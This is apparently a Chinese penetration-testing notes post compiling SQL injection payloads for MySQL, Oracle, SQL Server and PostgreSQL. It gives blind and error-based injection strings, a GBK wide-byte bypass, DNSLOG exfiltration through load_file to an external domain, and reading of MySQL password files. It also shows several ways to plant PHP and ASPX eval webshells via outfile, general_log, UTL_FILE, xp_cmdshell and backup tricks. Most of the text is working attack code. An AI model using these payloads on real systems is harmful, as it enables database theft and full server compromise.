郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!

前言

找笔记是在太烦人了,干脆全部写在一篇里面(来自1年半后的从写

image-20211206165800334

随手测试语句

语句前面适当加入'"and等参数

#算个MD5
extractvalue(1,concat(char(126),md5(1941797210)))
#MySQL常用的盲注语句
(CASE/**/WHEN/**/(2382=2382)/**/THEN/**/SLEEP(5)/**/ELSE/**/2382/**/END)
(select*from(select+sleep(4)union/**/select+1)a)
#SQL Server常用的盲注语句
/**/and(select+1)>0waitfor/**/delay'0:0:4'/**/
#Oracle常用的盲注语句
/**/and/**/3=DBMS_PIPE.RECEIVE_MESSAGE('n',2)
#PostgreSQL常用的盲注语句
'/**/and(select'1'from/**/pg_sleep(4))>'0

MySQL

常用查询

#查数据库
select/**/database()
#查当前用户
select/**/user()
#查询所有数据库
select/**/concat(schema_name)/**/from/**/information_schema.schemata
#查所有表
SELECT/**/TABLE_NAME/**/FROM/**/INFORMATION_SCHEMA.TABLES/**/WHERE/**/TABLE_SCHEMA=database()
#查表的COLUMN名
select/**/COLUMN_NAME/**/from/**/information_schema.COLUMNS/**/where/**/table_name/**/=/**/'you_table_name'/**/and/**/table_schema/**/=/**/'you_db_name'/**/limit/**/1/**/offset/**/2

小tips

  • select*from/**/mysql.user; selectfrom中间要是用*号的话是可以不需要空格的
  • 如果你报错注入接口返回了Subquery returns more than 1 row可以一行一行的读,用上limit 1 offset 2来获取数据

10种报错注入

毕竟常用的是floor、extractvalue、updatexml这三种方法

floor

select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

extractvalue

select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

updatexml

select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

geometrycollection

select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));

multipoint

select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));

polygon

select * from test where id=1 and polygon((select * from(select * from(select user())a)b));

multipolygon

select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));

linestring

select * from test where id=1 and linestring((select * from(select * from(select user())a)b));

multilinestring

select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));

exp

select * from test where id=1 and exp(~(select * from(select user())a));

基础操作

字符串处理
left(str,index)                #从左边第index开始截取
right(str,index) #从右边第index开始截取
substring(str,index) #从左边index开始截取
substr(str,index,len) #截取str,index开始,截取len的长度
mid(str,index,ken) #截取str 从index开始,截取len的长度
strcmp(expr1,expr2) #如果两个字符串是一样则返回0,如果第一个小于第二个则返回-1
find_in_set(str,strlist) #如果相同则返回1不同则返回0
concat(str1,str2) #将字符串首尾相连
concat_ws(separator,str1,str2) #将字符串用指定连接符连接
group_concat() #函数返回一个字符串结果,该结果由分组中的值连接组合而成
注释
/**/ 
--+
条件语句

一般用在盲注

if(expr1,expr2,expr3)         										#expr1真执行expr2否则执行expr3
case when (条件) then exp1 else exp2 end #条件真执行exp1,假就执行exp2
空白字符
%20 
%09
%0a
%0b
%0c
%0d
%a0
/**/
tab
/*!*/

小tip

函数名和括号直接可以插入特殊字符

mysql%0a.%0auser
concat/**/()
mysql/**/./**/auser

宽字节注入

宽字节注入利用了mysql一个特性,即当mysql在使用GBK编码的时候,会认为两个字符是一个汉字。(前一个ASCII码要大于128,才到汉字的范围)

当输入单引号,经addslashes转义后,对应的url编码是():

#对输入的单引号逐层转义
'

\'

%5C%27

当在前面引入一个ASCII大于128的字符(比如%df),url编码变为:

#添加%df符号后的单引号转义
%df'

%df\'

%df%5C%27

若使用gbk编码的话,%df%5C会被当作一个汉字处理,从而使%27(单引号)逃出生天,成功绕过,然后正常只需要进行sql语句拼接注入即可

盲注

时间盲注

主要就是这三种方法sleep、benchmark、笛卡尔积,然后利用字符串处理函数和if条件判断或者case条件判断来进行注入

sleep方法
#case判断
select * from mysql.user where User=1 and (select 1 from(select case when(user() like '%root%') then sleep(5) else 1 end)x);
#if判断
select * from mysql.user where User=1 and if((substring(user(),1,1))='r',sleep(5),1);
benchmark方法
#case判断
select * from mysql.user where User=1 and (select 1 from(select case when(user() like '%root%') then (select benchmark(10000000,sha(1))) else 1 end)x);
#if判断
select * from mysql.user where User=1 and if((substring(user(),1,1))='r',(select benchmark(10000000,sha(1))),1);
笛卡儿积

这种方法又叫做heavy query,可以通过选定一个大表来做笛卡儿积,但这种方式执行时间会几何倍数的提升,在站比较大的情况下会造成几何倍数的效果,实际利用起来非常不好用。

mysql> SELECT count(*) FROM information_schema.columns A, information_schema.columns B;
+-----------+
| count(*) |
+-----------+
| 267126336 |
+-----------+
1 row in set (9.87 sec)

然后套入判断语句中即可

select host,user,password from mysql.user where User=1 and if((substring(user(),1,1))='r',(SELECT count(*) FROM information_schema.columns A, information_schema.columns B),1);

布尔盲注

布尔(Boolean)型是计算机里的一种数据类型,只有True和False两个值,因为不用等待延时所以比时间盲注要快很多

select host,user,password from mysql.user where User=1 and if(substring(user(),1,1)='r',1=1,1=2);
select host,user,password from mysql.user where User=1 and if(substring(user(),1,1)='r',1=2,1=1);

如果为真第一个语句正确,如果为假第二个语句正确

image-20211206180009428

约束攻击

就是开发的问题,可以参考这篇文章,和注入语句没太大关系

基于DNSLOG的注入

前提条件

  • 数据库当前用户为root权限
  • secure_file_priv参数为空

其实,就是下面写webshell的一个限制版本,注入语句

select load_file(concat('\\\\',database(),'.dnslog.ascotbe.com\\test'));

写入webshell

前提条件

  • 数据库当前用户为root权限

  • 知道当前网站的绝对路径

  • PHP的GPC为 off状态

  • 写入的那个路径存在写入权限

注意点:

secure_file_priv参数说明

这个参数用来限制数据导入和导出操作的效果,例如执行LOAD DATA、SELECT … INTO OUTFILE语句和LOAD_FILE()函数。

  • 如果这个参数为空,这个变量没有效果

  • 如果这个参数设为一个目录名,MySQL服务只允许在这个目录中执行文件的导入和导出操作。这个目录必须存在,MySQL服务不会创建它

  • 如果这个参数为NULL,MySQL服务会禁止导入和导出操作。这个参数在MySQL 5.7.6版本引入

如果遇到以下情况的话,使用SQL语句中的outfile是无法成功的,但是写入日志的方法是可以成功的

show variables like '%secure%';

image-20200721163145745

开启secure_file_priv

修改my.ini文件后需要重启MySql

secure_file_priv为NULL禁止导出文件secure_file_priv=""
secure_file_priv指定地址限制导出地址只能在此secure_file_priv=“D:/”
secure_file_priv为空可以导出到任意文件secure_file_priv=

image-20200721164643432

查看是否有写入权限

select group_concat(user,0x3a,file_priv) from mysql.user;
出现Y,这就代表你有文件权限,N就是没有

基于联合查询

注入点位置如下,后面使用的话会省略这段值

http://127.0.0.1/test/Less-2/?id=1 

利用outfile方法

UNION ALL SELECT 1,2,"<? phpinfo(); ?>" into outfile "C:\\phpStudy\\PHPTutorial\\WWW\\test\123.txt" -- 

image-20200721182619518

可以发现写入成功了,值得注意的是我们写入的是在test目录和123.txt中间没有用双斜杠,这样写入的文件会被过滤了,直接写到了WWW目录而不是test目录里面

image-20200721182654445

利用dumpfile方法,这种方法可以写入16进制数据

UNION ALL SELECT 1,2,"<? phpinfo(); ?>" into dumpfile "C:\\phpStudy\\PHPTutorial\\WWW\\test\123.txt" --

写入普通数据

image-20200721183121847

image-20200721183134285

把PHP内容写成16进制编码数据在写入

image-20200721183645338

image-20200721183709153

基于非联合查询

into outfile "C:\\phpStudy\\PHPTutorial\\WWW\\123.txt" fields terminated by "<? phpinfo(); ?>" %23 --

image-20200722114910448

image-20200722114926885

基于log日志写shell法

先看看当前mysql下log日志的默认地址,同时也看下log日志是否为开启状态,记下来后面需要改回来的

show variables like '%general%';

image-20200721145256729

然后开启日志

set global general_log = on;

设置日志写入位置

set global general_log_file = 'C:/2.txt';

写入日志

select '<?php eval($_POST['ascotbe']);?>';

image-20200721150323748

修改为原来的路径

set global general_log_file='c:/xxxxx/xxxx'

关闭日志记录

set global general_log = off;

基于创建再导出的方法

连接test数据库

use test;

搜索并删除存在的ascotbe这个表

drop table if exists ascotbe;

创建这个表,在里边加个字段xxx

create table ascotbe(xxx text not null);

在里面写入一句话

insert into ascotbe(xxx) values ('<?php phpinfo(); ?>');

然后把这句话导出来

SELECT xxx FROM ascotbe INTO OUTFILE 'D:/2.txt';

image-20200721165110113

然后删除表

DROP TABLE ascotbe;

低权限利用

如果你发现一个注入点,但是这个注入点只是一个普通权限没法写 shell

利用条件:

  • 知道一个数据库用户账密

  • 能进入到 phpmyadmin 下

  • 一些默认文件路径位置没有更改

首先查看日志是否开启,然后看看日志文件路径根据这个路径推算出默认的user.MYD路径。一般默认的位置都是在 Mysql\data\mysql\user.MYD 这个路径下

show variables like '%general%';

image-20200721170600378

然后把密码的文件导入到表里面,这边插入的表为ascotbe,这边有个点需要注意下导入文件的位置需要用\可能会报错,需要替换成/

LOAD DATA LOCAL INFILE 'C:/phpStudy/PHPTutorial/MySQL/data/mysql/user.MYD' INTO TABLE ascotbe FIELDS TERMINATED BY '';

image-20200721171534970

可以看到导入成功

image-20200721171817802

Oracle

利用文件访问包写shell

首先是搭建环境,这边选着docker搭建,搭建好直接用navicat连接

image-20200722162047188

这边测试使用的是DBA权限中的system账户

首先创建我们得先建立一个ORACLE的目录对象指向XXXX,这边测试指向的路径为**/home/oracle**

create or replace directory IST0_DIR as '/home/oracle';

image-20200722163209851

我们查看docker的路径,以及路径下的内容

image-20200722163036270

如果后面写入失败了可以执行这条命令对这个目录进行授权下

grant read, write on directory IST0_DIR to system;

然后写入文件

declare
isto_file utl_file.file_type; --定义变量的类型为utl_file.file_type
begin
isto_file := utl_file.fopen('IST0_DIR', 'ascotbe.jsp', 'W'); --指定为IST0_DIR 目录下面的kj021320.jsp文件写操作
utl_file.put_line(isto_file, '这是一个一句话webshell'); --写入字符串
utl_file.fflush(isto_file); --刷缓冲
utl_file.fclose(isto_file); --关闭文件指针
end;

执行成功

image-20200722163418044

可以发现写入了shell

image-20200722163501324

如果是真实环境的话我们并不能连接服务器,这样我们怎么知道shell是否写入成功呢?

declare
isto_file utl_file.file_type; --如上
fp_buffer varchar2(4000); --没必要说了吧?
begin
isto_file := utl_file.fopen('IST0_DIR', 'ascotbe.jsp', 'R'); -- 指定为读操作
utl_file.get_line (isto_file , fp_buffer ); --读取一行放到 fp_buffer 变量里面
dbms_output.put_line(fp_buffer);--在终端输出结果看看
utl_file.fclose(isto_file); --关闭文件指针
end;

执行即可读取我们写入的文件内容了

image-20200722163711282

SQL Server

盲注

确认用户数据库权限

角色 描述
sysadmin 执行SQL Server中的任何动作(sa 权限)
serveradmin 配置服务器设置
setupadmin 安装复制和管理扩展过程
securityadmin 管理登录和CREATE DATABASE的权限以及阅读审计
processadmin 管理SQL Server进程
dbcreator 创建和修改数据库
diskadmin 管理磁盘文件
bulkadmin 可以运行 Bulk insert 语句
#判断权限
if/**/(select/**/IS_SRVROLEMEMBER('sysadmin'))=1/**/WAITFOR/**/DELAY/**/'0:0:5'--

SQL注入写shell

首先搭建环境,当前使用的环境是SQL Server 2019,具体的搭建自行百度

拿shell的两大前提

  1. 有相应的权限db_owner
  2. 知道web目录的绝对路径

测试的时候默认使用sa进行连接

寻找绝对路径

  • 报错信息

  • 字典猜

  • 旁站的目录

  • 存储过程来搜索

  • 读配置文件

前三种方法都是比较常见的方法。我们主要来讲第四种调用存储过程来搜索。

在mssql中有两个存储过程可以帮我们来找绝对路径:xp_cmdshellxp_dirtree

利用xp_dirtree方法来寻找

先来看xp_dirtree直接举例子

execute master..xp_dirtree 'c:' --列出所有c:\文件、目录、子目录 
execute master..xp_dirtree 'c:',1 --只列c:\目录
execute master..xp_dirtree 'c:',1,1 --列c:\目录、文件

列出所有的C盘文件、目录、子目录

image-20200723105433198

只列出目录

image-20200723105502074

列出文件和目录

image-20200723105539049

注意

这边使用xp_dirtree举例所列出的文件都是基于当前盘符当前目录的,不包括目录里面的文件,比如我们查看D盘内容

image-20200723110109092

image-20200723110137969

可以看到只有两个文件,可以论证之前说的

真实环境下的操作

当实际利用的时候我们可以创建一个临时表把存储过程查询到的路径插入到临时表中

CREATE TABLE tmp (dir varchar(8000),num int,num1 int);
insert into tmp(dir,num,num1) execute master..xp_dirtree 'c:',1,1;

image-20200723110625751

然后查询下表发现成功写入

image-20200723110801315

利用xp_cmdshell方法来寻找

SQL Server 阻止了对组件 xp_cmdshell的过程sys.xp_cmdshell的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用。

如果遇到xp_cmdshell不能调用解决方法,这样我们就只能能执行CMD命令了,开启方面需要连接数据库才行。PS:如果都开启这种方法就不用写shell了直接执行CMD下载木马即可

;EXEC sp_configure 'show advanced options',1;//允许修改高级参数
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1; //打开xp_cmdshell扩展
RECONFIGURE;--

image-20200723112209434

接下来我们先来看cmd中怎么查找文件,该条命令如果用powershell会报错

for /r d:\ %i in (2*.php) do @echo %i

image-20200723112513645

需要建立一个表 存在一个char字段就可以了

http://xx.xx.xx.xx/test.aspx?id=1;CREATE TABLE cmdtmp (dir varchar(8000));
http://xx.xx.xx.xx/test.aspx?id=1;insert into cmdtmp(dir) exec master..xp_cmdshell 'for /r d:\ %i in (2*.php) do @echo %i'

image-20200723112610911

image-20200723112707616

image-20200723112930188

成功查询出结果

写入Webshell

利用xp_cmdshell命令写shell

上面说了xp_cmdshell这个存储过程可以用来执行cmd命令,那么我们可以通过cmd的echo命令来写入shell,当然前提是你知道web目录的绝对路径,如果不存在路径会报错。

http://xx.xx.xx.xx/test.aspx?id=1;exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > D:\\test\\ascotbe.aspx' ;

image-20200723113418645

写入成功

image-20200723113431063

差异备份写shell

因为权限的问题,最好不要备份到盘符根目录

当过滤了特殊的字符比如单引号,或者 路径符号 都可以使用定义局部变量来执行。

http://xx.xx.xx.xx/test.aspx?id=1;backup database 库名 to disk = 'D:\bak.bak';--
http://xx.xx.xx.xx/test.aspx?id=1;create table [dbo].[test] ([cmd] [image]);
http://xx.xx.xx.xx/test.aspx?id=1;insert into test(cmd) values(0x3C25657865637574652872657175657374282261222929253E);
http://xx.xx.xx.xx/test.aspx?id=1;backup database 库名 to disk='D:\ascotbe.asp' WITH DIFFERENTIAL,FORMAT;--

这里测试只能进行备份,执行最后一句差异备份会报错,所以可以直接进行备份写shell,虽然文件会很大

image-20200723134845565

image-20200723134901581

image-20200723135025252

可以看到shell是写进去了,就是文件有点大

image-20200723142516722

log备份写shell

LOG备份的要求是他的数据库备份过,而且选择恢复模式得是完整模式,至少在2008上是这样的,但是使用log备份文件会小的多,当然如果你的权限够高可以设置他的恢复模式

//以下步骤省略http://xx.xx.xx.xx/test.aspx?id=1
alter database 库名 set RECOVERY FULL;
create table cmd (a image) ;
backup log 库名 to disk = 'D:\test' with init ;
insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E) ;
backup log 库名 to disk = 'D:\test\2.asp';

PostgreSQL

常用查询

#查看版本信息
SELECT version();
#查看用户
SELECT user;
SELECT current_user;
SELECT session_user;
SELECT usename FROM pg_user;
SELECT getpgusername();
#查看当前数据库
SELECT current_database();
#执行命令
select system("comamnd_string");
#读取文件
select pg_read_file(filepath+filename);
#写入文件
COPY (select '<?php phpinfo();?>') to '/tmp/1.php';

盲注

通过case判断语句和pg_sleep函数进行盲注

#原始语句
select case when(expr1) then result1 else result2 end
#示例
select casr when(current_user='postgres') then pg_sleep(5) else pg_sleep(0) end;

参考文章

https://www.cnblogs.com/springside-example/archive/2007/09/06/2529958.html
https://blog.csdn.net/zyq357/article/details/104698157
https://blog.csdn.net/junmail/article/details/4381287
https://www.cnblogs.com/xuliangxing/p/6005154.html
https://y4er.com/post/mssql-getshell/
https://xz.aliyun.com/t/3992
《代码审计:企业级Web代码安全架构》
https://xz.aliyun.com/t/2288